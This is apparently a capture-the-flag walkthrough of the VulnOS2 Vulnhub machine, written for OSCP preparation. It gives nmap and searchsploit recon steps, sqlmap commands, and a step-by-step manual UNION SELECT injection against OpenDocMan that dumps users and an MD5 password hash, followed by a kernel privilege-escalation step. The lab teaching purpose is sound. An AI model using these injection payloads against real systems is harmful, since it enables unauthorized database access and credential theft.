VulnOS2 Vulnhub walkthrough — OSCP prep
The sole reason for writing the walkthrough of this machine is to introduce manual SQL injection, i.e. without using SQL map. As we know OSCP cert guidelines prevent usage of automated tools like SQL map/SQL ninja. I was going through this machine when I saw a part of SQL injection. Nearly all the walkthroughs, show it using SQL map, but it’s important to try that differently. So without wasting time let’s start.
Starting with netdiscover to know the IP of target. My IP is 10.0.2.6.
#netdiscover -r 10.0.2.0/24
Use NMAP for scanning the target ports;
#nmap -Pn -p- -A 10.0.2.9 -o fullport.nmap
We can find 3 ports open. We will start with 80 http port.
First and foremost make a nikto scan
As we can see nothing extraordinary is revealed from the same. Just some information disclosure including Apache HTTP version 2.4.7 . Also since port 80 is open we can make a quick dirbuster scan. The dirbuster scan revealed all the directories and subdirectories under 10.0.2.9/jabc
#searchsploit Apache 2.4.7
root@kali:~/Downloads/vuln/vulnOS2# searchsploit Apache 2.4.7
Exploit Title | Path| (/usr/share/exploitdb/)
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution | exploits/php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition | exploits/linux/dos/34133.txt
------------------------------------------------------------------------------------- -------------------Going to the website
- /robots.txt // not found
+ Website JABC to be pen tested
I started finding vulnerabilities in Drupal version 7.26 (revealed when I opened one of the files listed under parent directory on the website, shown by Dirbuster ).
Drupal 7.0<7.31 : is vulnerable to SQL injection.
I started enumerating on how to exploit that. To which I found, this requires a Drupal login page path. Which I found under http://10.0.2.9/jabc/?q=user . On further analysis I came to conclusion that there is something wrong and might be this is not vulnerable. After lots and lots of efforts, it proved a RABBIT HOLE!!!
So I enumerated from start and found in view source code, quite down in the page.
Here was the line :
For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest.
You could see this line if you select all the contents on documentation page. So I logged in there and found OpenDocMan v1.2.7.
I tried uploading pdf, php and image type payload files but found nothing getting executed there, so RCE wasn’t possible. But yes it was having parameters vulnerable to SQL injection. So I searched on Searchsploit. OpenManDoc 1.2.7 is vulnerable to SQL injection attack. Here we ended up with our enumeration phase.
For them who want to do this using SQLmap, you can do this using below 3 commands:
root@kali:~# sqlmap -u “http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" — dbs — level=5 — risk=3
root@kali:~# sqlmap -u “http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs — tables
root@kali:~# sqlmap -u “http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user — dump
Here comes the purpose of this walkthrough. Knowing manual SQL exploitation. Now we know through OpenDocMan vulnerability PoC, that it has an SQL injection vulnerability
According to PoC, if we write following in URL: http://10.0.2/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version() ,3,4,5,6,7,8,9
it reveals the version of database when placed at index 2.
How did this originate ? What does this mean?
has “add_value=odm_user” param vulnerable. We will use UNION operation on select query.
http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION all SELECT 1,2,3,4,5,6,7,8,9
The value 2 from union all select , reflects as parameter in selection bar, this means this field is vulnerable. Thus we can write version(), or database() in place of 2.
Now we will do some SQL injection using UNION Select queries
http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION all SELECT 1,database(),3,4,5,6,7,8,9
This shows value of database(), which is jabd0cs; this is the database present. To retrieve table name, modify it to:
http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,table_name,3,4,5,6,7,8,9 from information_schema.tables — -
Here we can see all tables under information_schema database in drop down menu, but we need the same from jabcd0cs database. So we modify our query,
10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=”jabcd0cs” — -
But, we need to change our input pattern, since MySQL has property to resolve “” or ‘’ to nothing. We will use ASCII converter. ASCII converter for jabcd0cs will give 106 097 098 099 100 048 099 115 . Which we input in URL as table_schema=char(106,097,098,099,100,048,099,115).
10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=char(106,097,098,099,100,048,099,115) —
and we get table names such as odm_user.
Similarly we will fetch username and password from odm_user
http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,username,3,4,5,6,7,8,9 from odm_user —
Here we get users:
Now using password in the same query in place of username, we get
http://10.0.2.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,password,3,4,5,6,7,8,9 from odm_user —
so password hash is b78aae356709f8c31118ea613980954b for webmin. MD5 which gets decoded to webmin1980
We have entered to webmin home. Now we need the root to see the flag and also the contents in vulnosadmin. So we do this as follows:
- We check name, version etc of kernel.
Now we will search for related exploit. I used searchsploit.
Now we will use the C based overlayfs exploit for Priv Esc. To know what it does, read it before running. It’s a good practice. Also we can see here no changes are required, we just need to run it after compiling.
Since our kernel is x86 , we compile it as.
Ignoring warnings we go ahead. Transfer it to our /tmp folder of webmin user, change permission to execute and run.
Eureka!! We have ROOOTED the machine.